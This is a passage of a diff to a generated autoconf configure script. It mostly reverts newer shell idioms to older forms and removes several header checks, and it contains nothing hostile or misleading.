\"$LINENO\"\n then :\n   eval \"$as_ac_Header=yes\"\n-else case e in #(\n-  e) eval \"$as_ac_Header=no\" ;;\n-esac\n+else $as_nop\n+  eval \"$as_ac_Header=no\"\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n eval ac_res=\\$$as_ac_Header\n \t       { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_res\" >&5\n@@ -4560,7 +4477,7 @@ printf \"%s\\n\" \"$ac_res\" >&6; }\n if eval test \\\"x\\$\"$as_ac_Header\"\\\" = x\"yes\"\n then :\n   cat >>confdefs.h <<_ACEOF\n-#define `printf \"%s\\n\" \"HAVE_$ac_hdr\" | sed \"$as_sed_cpp\"` 1\n+#define `printf \"%s\\n\" \"HAVE_$ac_hdr\" | $as_tr_cpp` 1\n _ACEOF\n \n ac_header_dirent=$ac_hdr; break\n@@ -4574,21 +4491,15 @@ printf %s \"checking for library containing opendir... \" >&6; }\n if test ${ac_cv_search_opendir+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_func_search_save_LIBS=$LIBS\n+else $as_nop\n+  ac_func_search_save_LIBS=$LIBS\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char opendir (void);\n+   builtin and then its argument prototype would still apply.  */\n+char opendir ();\n int\n main (void)\n {\n@@ -4619,13 +4530,11 @@ done\n if test ${ac_cv_search_opendir+y}\n then :\n \n-else case e in #(\n-  e) ac_cv_search_opendir=no ;;\n-esac\n+else $as_nop\n+  ac_cv_search_opendir=no\n fi\n rm conftest.$ac_ext\n-LIBS=$ac_func_search_save_LIBS ;;\n-esac\n+LIBS=$ac_func_search_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_opendir\" >&5\n printf \"%s\\n\" \"$ac_cv_search_opendir\" >&6; }\n@@ -4642,21 +4551,15 @@ printf %s \"checking for library containing opendir... \" >&6; }\n if test ${ac_cv_search_opendir+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_func_search_save_LIBS=$LIBS\n+else $as_nop\n+  ac_func_search_save_LIBS=$LIBS\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n /* Override any GCC internal prototype to avoid an error.\n    Use char because int might match the return type of a GCC\n-   builtin and then its argument prototype would still apply.\n-   The 'extern \"C\"' is for builds by C++ compilers;\n-   although this is not generally supported in C code supporting it here\n-   has little cost and some practical benefit (sr 110532).  */\n-#ifdef __cplusplus\n-extern \"C\"\n-#endif\n-char opendir (void);\n+   builtin and then its argument prototype would still apply.  */\n+char opendir ();\n int\n main (void)\n {\n@@ -4687,13 +4590,11 @@ done\n if test ${ac_cv_search_opendir+y}\n then :\n \n-else case e in #(\n-  e) ac_cv_search_opendir=no ;;\n-esac\n+else $as_nop\n+  ac_cv_search_opendir=no\n fi\n rm conftest.$ac_ext\n-LIBS=$ac_func_search_save_LIBS ;;\n-esac\n+LIBS=$ac_func_search_save_LIBS\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_search_opendir\" >&5\n printf \"%s\\n\" \"$ac_cv_search_opendir\" >&6; }\n@@ -4711,8 +4612,8 @@ printf %s \"checking for sys/wait.h that is POSIX.1 compatible... \" >&6; }\n if test ${ac_cv_header_sys_wait_h+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <sys/types.h>\n #include <sys/wait.h>\n@@ -4736,12 +4637,10 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_cv_header_sys_wait_h=yes\n-else case e in #(\n-  e) ac_cv_header_sys_wait_h=no ;;\n-esac\n+else $as_nop\n+  ac_cv_header_sys_wait_h=no\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_sys_wait_h\" >&5\n printf \"%s\\n\" \"$ac_cv_header_sys_wait_h\" >&6; }\n@@ -4751,12 +4650,6 @@ printf \"%s\\n\" \"#define HAVE_SYS_WAIT_H 1\" >>confdefs.h\n \n fi\n \n-ac_fn_c_check_header_compile \"$LINENO\" \"poll.h\" \"ac_cv_header_poll_h\" \"$ac_includes_default\"\n-if test \"x$ac_cv_header_poll_h\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_POLL_H 1\" >>confdefs.h\n-\n-fi\n ac_fn_c_check_header_compile \"$LINENO\" \"sys/fcntl.h\" \"ac_cv_header_sys_fcntl_h\" \"$ac_includes_default\"\n if test \"x$ac_cv_header_sys_fcntl_h\" = xyes\n then :\n@@ -5062,42 +4955,12 @@ if test \"x$ac_cv_header_sys_file_h\" = xyes\n then :\n   printf \"%s\\n\" \"#define HAVE_SYS_FILE_H 1\" >>confdefs.h\n \n-fi\n-ac_fn_c_check_header_compile \"$LINENO\" \"sys/resource.h\" \"ac_cv_header_sys_resource_h\" \"$ac_includes_default\"\n-if test \"x$ac_cv_header_sys_resource_h\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_SYS_RESOURCE_H 1\" >>confdefs.h\n-\n fi\n ac_fn_c_check_header_compile \"$LINENO\" \"bsd/string.h\" \"ac_cv_header_bsd_string_h\" \"$ac_includes_default\"\n if test \"x$ac_cv_header_bsd_string_h\" = xyes\n then :\n   printf \"%s\\n\" \"#define HAVE_BSD_STRING_H 1\" >>confdefs.h\n \n-fi\n-ac_fn_c_check_header_compile \"$LINENO\" \"idn2.h\" \"ac_cv_header_idn2_h\" \"$ac_includes_default\"\n-if test \"x$ac_cv_header_idn2_h\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_IDN2_H 1\" >>confdefs.h\n-\n-fi\n-ac_fn_c_check_header_compile \"$LINENO\" \"wchar.h\" \"ac_cv_header_wchar_h\" \"$ac_includes_default\"\n-if test \"x$ac_cv_header_wchar_h\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_WCHAR_H 1\" >>confdefs.h\n-\n-fi\n-ac_fn_c_check_header_compile \"$LINENO\" \"linux/ioprio.h\" \"ac_cv_header_linux_ioprio_h\" \"$ac_includes_default\"\n-if test \"x$ac_cv_header_linux_ioprio_h\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_LINUX_IOPRIO_H 1\" >>confdefs.h\n-\n-fi\n-ac_fn_c_check_header_compile \"$LINENO\" \"sys/syscall.h\" \"ac_cv_header_sys_syscall_h\" \"$ac_includes_default\"\n-if test \"x$ac_cv_header_sys_syscall_h\" = xyes\n-then :\n-  printf \"%s\\n\" \"#define HAVE_SYS_SYSCALL_H 1\" >>confdefs.h\n-\n fi\n \n ac_fn_c_check_header_compile \"$LINENO\" \"netinet/ip.h\" \"ac_cv_header_netinet_ip_h\" \"#include <netinet/in.h>\n@@ -5113,8 +4976,8 @@ printf %s \"checking whether sys/types.h defines makedev... \" >&6; }\n if test ${ac_cv_header_sys_types_h_makedev+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n #include <sys/types.h>\n int\n@@ -5132,14 +4995,12 @@ then :\n \t\t else\n \t\t   ac_cv_header_sys_types_h_makedev=yes\n \t\t fi\n-else case e in #(\n-  e) ac_cv_header_sys_types_h_makedev=no ;;\n-esac\n+else $as_nop\n+  ac_cv_header_sys_types_h_makedev=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n     conftest$ac_exeext conftest.$ac_ext\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_sys_types_h_makedev\" >&5\n printf \"%s\\n\" \"$ac_cv_header_sys_types_h_makedev\" >&6; }\n@@ -5192,16 +5053,15 @@ printf %s \"checking build system type... \" >&6; }\n if test ${ac_cv_build+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_build_alias=$build_alias\n+else $as_nop\n+  ac_build_alias=$build_alias\n test \"x$ac_build_alias\" = x &&\n   ac_build_alias=`$SHELL \"${ac_aux_dir}config.guess\"`\n test \"x$ac_build_alias\" = x &&\n   as_fn_error $? \"cannot guess build type; you must specify one\" \"$LINENO\" 5\n ac_cv_build=`$SHELL \"${ac_aux_dir}config.sub\" $ac_build_alias` ||\n   as_fn_error $? \"$SHELL ${ac_aux_dir}config.sub $ac_build_alias failed\" \"$LINENO\" 5\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_build\" >&5\n printf \"%s\\n\" \"$ac_cv_build\" >&6; }\n@@ -5228,15 +5088,14 @@ printf %s \"checking host system type... \" >&6; }\n if test ${ac_cv_host+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test \"x$host_alias\" = x; then\n+else $as_nop\n+  if test \"x$host_alias\" = x; then\n   ac_cv_host=$ac_cv_build\n else\n   ac_cv_host=`$SHELL \"${ac_aux_dir}config.sub\" $host_alias` ||\n     as_fn_error $? \"$SHELL ${ac_aux_dir}config.sub $host_alias failed\" \"$LINENO\" 5\n fi\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_host\" >&5\n printf \"%s\\n\" \"$ac_cv_host\" >&6; }\n@@ -5298,8 +5157,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$CC\"; then\n+else $as_nop\n+  if test -n \"$CC\"; then\n   ac_cv_prog_CC=\"$CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -5321,8 +5180,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n CC=$ac_cv_prog_CC\n if test -n \"$CC\"; then\n@@ -5344,8 +5202,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_ac_ct_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$ac_ct_CC\"; then\n+else $as_nop\n+  if test -n \"$ac_ct_CC\"; then\n   ac_cv_prog_ac_ct_CC=\"$ac_ct_CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -5367,8 +5225,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n ac_ct_CC=$ac_cv_prog_ac_ct_CC\n if test -n \"$ac_ct_CC\"; then\n@@ -5403,8 +5260,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$CC\"; then\n+else $as_nop\n+  if test -n \"$CC\"; then\n   ac_cv_prog_CC=\"$CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -5426,8 +5283,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n CC=$ac_cv_prog_CC\n if test -n \"$CC\"; then\n@@ -5449,8 +5305,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$CC\"; then\n+else $as_nop\n+  if test -n \"$CC\"; then\n   ac_cv_prog_CC=\"$CC\" # Let the user override the test.\n else\n   ac_prog_rejected=no\n@@ -5489,8 +5345,7 @@ if test $ac_prog_rejected = yes; then\n     ac_cv_prog_CC=\"$as_dir$ac_word${1+' '}$@\"\n   fi\n fi\n-fi ;;\n-esac\n+fi\n fi\n CC=$ac_cv_prog_CC\n if test -n \"$CC\"; then\n@@ -5514,8 +5369,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$CC\"; then\n+else $as_nop\n+  if test -n \"$CC\"; then\n   ac_cv_prog_CC=\"$CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -5537,8 +5392,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n CC=$ac_cv_prog_CC\n if test -n \"$CC\"; then\n@@ -5564,8 +5418,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_ac_ct_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$ac_ct_CC\"; then\n+else $as_nop\n+  if test -n \"$ac_ct_CC\"; then\n   ac_cv_prog_ac_ct_CC=\"$ac_ct_CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -5587,8 +5441,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n ac_ct_CC=$ac_cv_prog_ac_ct_CC\n if test -n \"$ac_ct_CC\"; then\n@@ -5626,8 +5479,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$CC\"; then\n+else $as_nop\n+  if test -n \"$CC\"; then\n   ac_cv_prog_CC=\"$CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -5649,8 +5502,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n CC=$ac_cv_prog_CC\n if test -n \"$CC\"; then\n@@ -5672,8 +5524,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_ac_ct_CC+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$ac_ct_CC\"; then\n+else $as_nop\n+  if test -n \"$ac_ct_CC\"; then\n   ac_cv_prog_ac_ct_CC=\"$ac_ct_CC\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -5695,8 +5547,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n ac_ct_CC=$ac_cv_prog_ac_ct_CC\n if test -n \"$ac_ct_CC\"; then\n@@ -5725,10 +5576,10 @@ fi\n fi\n \n \n-test -z \"$CC\" && { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+test -z \"$CC\" && { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error $? \"no acceptable C compiler found in \\$PATH\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n \n # Provide some information about the compiler.\n printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: checking for C compiler version\" >&5\n@@ -5760,8 +5611,8 @@ printf %s \"checking whether the compiler supports GNU C... \" >&6; }\n if test ${ac_cv_c_compiler_gnu+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n int\n@@ -5778,14 +5629,12 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_compiler_gnu=yes\n-else case e in #(\n-  e) ac_compiler_gnu=no ;;\n-esac\n+else $as_nop\n+  ac_compiler_gnu=no\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n ac_cv_c_compiler_gnu=$ac_compiler_gnu\n- ;;\n-esac\n+\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu\" >&5\n printf \"%s\\n\" \"$ac_cv_c_compiler_gnu\" >&6; }\n@@ -5803,8 +5652,8 @@ printf %s \"checking whether $CC accepts -g... \" >&6; }\n if test ${ac_cv_prog_cc_g+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_save_c_werror_flag=$ac_c_werror_flag\n+else $as_nop\n+  ac_save_c_werror_flag=$ac_c_werror_flag\n    ac_c_werror_flag=yes\n    ac_cv_prog_cc_g=no\n    CFLAGS=\"-g\"\n@@ -5822,8 +5671,8 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_cv_prog_cc_g=yes\n-else case e in #(\n-  e) CFLAGS=\"\"\n+else $as_nop\n+  CFLAGS=\"\"\n       cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n@@ -5838,8 +5687,8 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n \n-else case e in #(\n-  e) ac_c_werror_flag=$ac_save_c_werror_flag\n+else $as_nop\n+  ac_c_werror_flag=$ac_save_c_werror_flag\n \t CFLAGS=\"-g\"\n \t cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -5856,15 +5705,12 @@ if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_cv_prog_cc_g=yes\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n-   ac_c_werror_flag=$ac_save_c_werror_flag ;;\n-esac\n+   ac_c_werror_flag=$ac_save_c_werror_flag\n fi\n { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g\" >&5\n printf \"%s\\n\" \"$ac_cv_prog_cc_g\" >&6; }\n@@ -5891,8 +5737,8 @@ printf %s \"checking for $CC option to enable C11 features... \" >&6; }\n if test ${ac_cv_prog_cc_c11+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_cv_prog_cc_c11=no\n+else $as_nop\n+  ac_cv_prog_cc_c11=no\n ac_save_CC=$CC\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -5909,28 +5755,25 @@ rm -f core conftest.err conftest.$ac_objext conftest.beam\n   test \"x$ac_cv_prog_cc_c11\" != \"xno\" && break\n done\n rm -f conftest.$ac_ext\n-CC=$ac_save_CC ;;\n-esac\n+CC=$ac_save_CC\n fi\n \n if test \"x$ac_cv_prog_cc_c11\" = xno\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: unsupported\" >&5\n printf \"%s\\n\" \"unsupported\" >&6; }\n-else case e in #(\n-  e) if test \"x$ac_cv_prog_cc_c11\" = x\n+else $as_nop\n+  if test \"x$ac_cv_prog_cc_c11\" = x\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: none needed\" >&5\n printf \"%s\\n\" \"none needed\" >&6; }\n-else case e in #(\n-  e) { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c11\" >&5\n+else $as_nop\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c11\" >&5\n printf \"%s\\n\" \"$ac_cv_prog_cc_c11\" >&6; }\n-     CC=\"$CC $ac_cv_prog_cc_c11\" ;;\n-esac\n+     CC=\"$CC $ac_cv_prog_cc_c11\"\n fi\n   ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c11\n-  ac_prog_cc_stdc=c11 ;;\n-esac\n+  ac_prog_cc_stdc=c11\n fi\n fi\n if test x$ac_prog_cc_stdc = xno\n@@ -5940,8 +5783,8 @@ printf %s \"checking for $CC option to enable C99 features... \" >&6; }\n if test ${ac_cv_prog_cc_c99+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_cv_prog_cc_c99=no\n+else $as_nop\n+  ac_cv_prog_cc_c99=no\n ac_save_CC=$CC\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -5958,28 +5801,25 @@ rm -f core conftest.err conftest.$ac_objext conftest.beam\n   test \"x$ac_cv_prog_cc_c99\" != \"xno\" && break\n done\n rm -f conftest.$ac_ext\n-CC=$ac_save_CC ;;\n-esac\n+CC=$ac_save_CC\n fi\n \n if test \"x$ac_cv_prog_cc_c99\" = xno\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: unsupported\" >&5\n printf \"%s\\n\" \"unsupported\" >&6; }\n-else case e in #(\n-  e) if test \"x$ac_cv_prog_cc_c99\" = x\n+else $as_nop\n+  if test \"x$ac_cv_prog_cc_c99\" = x\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: none needed\" >&5\n printf \"%s\\n\" \"none needed\" >&6; }\n-else case e in #(\n-  e) { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c99\" >&5\n+else $as_nop\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c99\" >&5\n printf \"%s\\n\" \"$ac_cv_prog_cc_c99\" >&6; }\n-     CC=\"$CC $ac_cv_prog_cc_c99\" ;;\n-esac\n+     CC=\"$CC $ac_cv_prog_cc_c99\"\n fi\n   ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c99\n-  ac_prog_cc_stdc=c99 ;;\n-esac\n+  ac_prog_cc_stdc=c99\n fi\n fi\n if test x$ac_prog_cc_stdc = xno\n@@ -5989,8 +5829,8 @@ printf %s \"checking for $CC option to enable C89 features... \" >&6; }\n if test ${ac_cv_prog_cc_c89+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) ac_cv_prog_cc_c89=no\n+else $as_nop\n+  ac_cv_prog_cc_c89=no\n ac_save_CC=$CC\n cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n@@ -6007,28 +5847,25 @@ rm -f core conftest.err conftest.$ac_objext conftest.beam\n   test \"x$ac_cv_prog_cc_c89\" != \"xno\" && break\n done\n rm -f conftest.$ac_ext\n-CC=$ac_save_CC ;;\n-esac\n+CC=$ac_save_CC\n fi\n \n if test \"x$ac_cv_prog_cc_c89\" = xno\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: unsupported\" >&5\n printf \"%s\\n\" \"unsupported\" >&6; }\n-else case e in #(\n-  e) if test \"x$ac_cv_prog_cc_c89\" = x\n+else $as_nop\n+  if test \"x$ac_cv_prog_cc_c89\" = x\n then :\n   { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: none needed\" >&5\n printf \"%s\\n\" \"none needed\" >&6; }\n-else case e in #(\n-  e) { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89\" >&5\n+else $as_nop\n+  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89\" >&5\n printf \"%s\\n\" \"$ac_cv_prog_cc_c89\" >&6; }\n-     CC=\"$CC $ac_cv_prog_cc_c89\" ;;\n-esac\n+     CC=\"$CC $ac_cv_prog_cc_c89\"\n fi\n   ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c89\n-  ac_prog_cc_stdc=c89 ;;\n-esac\n+  ac_prog_cc_stdc=c89\n fi\n fi\n \n@@ -6053,8 +5890,8 @@ if test -z \"$CPP\"; then\n   if test ${ac_cv_prog_CPP+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e)     # Double quotes because $CC needs to be expanded\n+else $as_nop\n+      # Double quotes because $CC needs to be expanded\n     for CPP in \"$CC -E\" \"$CC -E -traditional-cpp\" cpp /lib/cpp\n     do\n       ac_preproc_ok=false\n@@ -6072,10 +5909,9 @@ _ACEOF\n if ac_fn_c_try_cpp \"$LINENO\"\n then :\n \n-else case e in #(\n-  e) # Broken: fails on valid input.\n-continue ;;\n-esac\n+else $as_nop\n+  # Broken: fails on valid input.\n+continue\n fi\n rm -f conftest.err conftest.i conftest.$ac_ext\n \n@@ -6089,16 +5925,15 @@ if ac_fn_c_try_cpp \"$LINENO\"\n then :\n   # Broken: success on invalid input.\n continue\n-else case e in #(\n-  e) # Passes both tests.\n+else $as_nop\n+  # Passes both tests.\n ac_preproc_ok=:\n-break ;;\n-esac\n+break\n fi\n rm -f conftest.err conftest.i conftest.$ac_ext\n \n done\n-# Because of 'break', _AC_PREPROC_IFELSE's cleaning code was skipped.\n+# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.\n rm -f conftest.i conftest.err conftest.$ac_ext\n if $ac_preproc_ok\n then :\n@@ -6107,8 +5942,7 @@ fi\n \n     done\n     ac_cv_prog_CPP=$CPP\n-   ;;\n-esac\n+\n fi\n   CPP=$ac_cv_prog_CPP\n else\n@@ -6131,10 +5965,9 @@ _ACEOF\n if ac_fn_c_try_cpp \"$LINENO\"\n then :\n \n-else case e in #(\n-  e) # Broken: fails on valid input.\n-continue ;;\n-esac\n+else $as_nop\n+  # Broken: fails on valid input.\n+continue\n fi\n rm -f conftest.err conftest.i conftest.$ac_ext\n \n@@ -6148,26 +5981,24 @@ if ac_fn_c_try_cpp \"$LINENO\"\n then :\n   # Broken: success on invalid input.\n continue\n-else case e in #(\n-  e) # Passes both tests.\n+else $as_nop\n+  # Passes both tests.\n ac_preproc_ok=:\n-break ;;\n-esac\n+break\n fi\n rm -f conftest.err conftest.i conftest.$ac_ext\n \n done\n-# Because of 'break', _AC_PREPROC_IFELSE's cleaning code was skipped.\n+# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.\n rm -f conftest.i conftest.err conftest.$ac_ext\n if $ac_preproc_ok\n then :\n \n-else case e in #(\n-  e) { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+else $as_nop\n+  { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error $? \"C preprocessor \\\"$CPP\\\" fails sanity check\n-See 'config.log' for more details\" \"$LINENO\" 5; } ;;\n-esac\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n fi\n \n ac_ext=c\n@@ -6201,8 +6032,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_CXX+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$CXX\"; then\n+else $as_nop\n+  if test -n \"$CXX\"; then\n   ac_cv_prog_CXX=\"$CXX\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -6224,8 +6055,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n CXX=$ac_cv_prog_CXX\n if test -n \"$CXX\"; then\n@@ -6251,8 +6081,8 @@ printf %s \"checking for $ac_word... \" >&6; }\n if test ${ac_cv_prog_ac_ct_CXX+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) if test -n \"$ac_ct_CXX\"; then\n+else $as_nop\n+  if test -n \"$ac_ct_CXX\"; then\n   ac_cv_prog_ac_ct_CXX=\"$ac_ct_CXX\" # Let the user override the test.\n else\n as_save_IFS=$IFS; IFS=$PATH_SEPARATOR\n@@ -6274,8 +6104,7 @@ done\n   done\n IFS=$as_save_IFS\n \n-fi ;;\n-esac\n+fi\n fi\n ac_ct_CXX=$ac_cv_prog_ac_ct_CXX\n if test -n \"$ac_ct_CXX\"; then\n@@ -6335,8 +6164,8 @@ printf %s \"checking whether the compiler supports GNU C++... \" >&6; }\n if test ${ac_cv_cxx_compiler_gnu+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n \n int\n@@ -6353,14 +6182,12 @@ _ACEOF\n if ac_fn_cxx_try_compile \"$LINENO\"\n then :\n   ac_compiler_gnu=yes\n-else case e in #(\n-  e) 